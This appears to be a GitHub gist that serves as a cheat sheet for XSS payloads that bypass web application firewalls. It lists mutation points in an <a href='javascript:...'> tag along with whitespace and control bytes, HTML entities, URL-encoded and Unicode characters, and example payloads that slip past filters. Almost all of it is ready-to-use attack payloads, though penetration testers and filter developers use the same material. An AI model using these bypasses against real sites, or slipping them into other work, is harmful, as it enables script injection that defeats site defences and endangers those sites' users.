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@xsuperbug
Forked from hackerscrolls/mutation_a.txt
Created October 15, 2020 14:58
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Mutation points in <a> tag for WAF bypass
<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">
[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f
<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">
[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20
<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">
[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
HTML Encoding:
&#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;
<a href="&Tab;javascript:alert(1)">
<a href="&#x001;javascript:alert(1)">
[5]
Bytes:
\x09 \x0a \x0d
HTML Encoding:
&#x09; &#x0a; &#x0d;
<a href="javas\x09cript:alert(1)">
<a href="javas&Tab;cript:alert(1)">
[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0
HTML Encode (bytes):
&#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0;
UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff
URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf
HTML Encode (UTF-8):
&#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff
<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:&#xfeff;alert(1)">
-----------------------------------------
We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE
\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR
Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
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